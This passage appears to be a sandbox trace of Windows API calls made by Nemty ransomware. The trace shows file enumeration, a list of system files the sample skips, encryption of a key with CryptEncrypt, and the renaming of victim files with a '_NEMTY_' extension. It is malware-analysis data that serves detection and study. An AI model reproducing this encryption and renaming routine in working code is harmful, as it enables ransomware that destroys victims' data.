lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.000] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.009] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0073.041] CloseHandle (hObject=0xffffffff) returned 0 [0073.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0073.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0073.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0073.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0073.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0073.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0073.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0073.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0073.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0073.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0073.042] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv._nemty_kgobjgd_")) returned 0 [0073.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0073.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0073.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0073.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0073.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0073.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0073.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0073.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0073.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0073.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.042] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0073.042] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2=".") returned 1 [0073.042] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="..") returned 1 [0073.042] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="...") returned 1 [0073.042] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="windows") returned -1 [0073.042] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0073.042] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="rsa") returned 1 [0073.042] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="NTDETECT.COM") returned 1 [0073.042] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="ntldr") returned 1 [0073.042] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="MSDOS.SYS") returned 1 [0073.043] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="IO.SYS") returned 1 [0073.043] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="boot.ini") returned 1 [0073.043] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="boot.ini") returned 1 [0073.043] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="AUTOEXEC.BAT") returned 1 [0073.043] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="ntuser.dat") returned 1 [0073.043] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="desktop.ini") returned 1 [0073.043] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="CONFIG.SYS") returned 1 [0073.043] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="RECYCLER") returned 1 [0073.043] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="BOOTSECT.BAK") returned 1 [0073.043] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="bootmgr") returned 1 [0073.043] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="programdata") returned 1 [0073.043] lstrcmpiW (lpString1="TitleButtonIcon.png", lpString2="appdata") returned 1 [0073.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0073.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonIcon.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0073.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonIcon.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TitleButtonIcon.png", lpUsedDefaultChar=0x0) returned 19 [0073.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0073.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonIcon.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0073.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonIcon.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TitleButtonIcon.png", lpUsedDefaultChar=0x0) returned 19 [0073.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0073.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0073.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0073.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonIcon.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0073.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonIcon.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TitleButtonIcon.png", lpUsedDefaultChar=0x0) returned 19 [0073.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0073.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0073.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonIcon.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0073.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0073.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonIcon.png", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TitleButtonIcon.png", lpUsedDefaultChar=0x0) returned 19 [0073.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0073.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0073.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0073.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94248 [0073.044] Sleep (dwMilliseconds=0x5) [0073.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf308bd0, dwHighDateTime=0x1d561e7)) [0073.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf308bd0, dwHighDateTime=0x1d561e7)) [0073.054] GetLastError () returned 0x5 [0073.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.054] GetLastError () returned 0x5 [0073.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0073.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0073.054] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0073.054] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0073.054] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0073.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0073.055] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="pTQqWClH+mXNt3XrWxnXVEeGyZycNw7JaDUfzMVJiJAs9yqR9xpTKD5yXhfNYayj\r\nPfC2gYepdc2IndIaGqtN1KgmMZ+c46qNMVnDpOMUlfQ1MWviwYo7M/gNFAd5SVnx\r\n0X5clfcvK7nCS4zCAdFKvJWljeHBRL9wWLPajwmq8JyUlKqlvpMdmvMRQ7hooCvk\r\nQ0HAvLVApx5rXccta22cKNO75h6975Y7GX2a/gnMUPkuHA/Aop3ocKHbRcaOgKum\r\nkbCsVKQotk3biCJcLqt84O7oTA+uKc++b7W2k8xV4D1Rt2Xj9JRBkNB8qrEJz6Ie\r\nXzg34pWxrY7WkfnLULxhlA==\r\n", pcchString=0x653e91c) returned 1 [0073.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0073.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0073.055] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0073.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0073.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0073.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0073.055] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.056] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0073.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0073.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.056] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.103] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.122] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.122] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.122] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.140] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 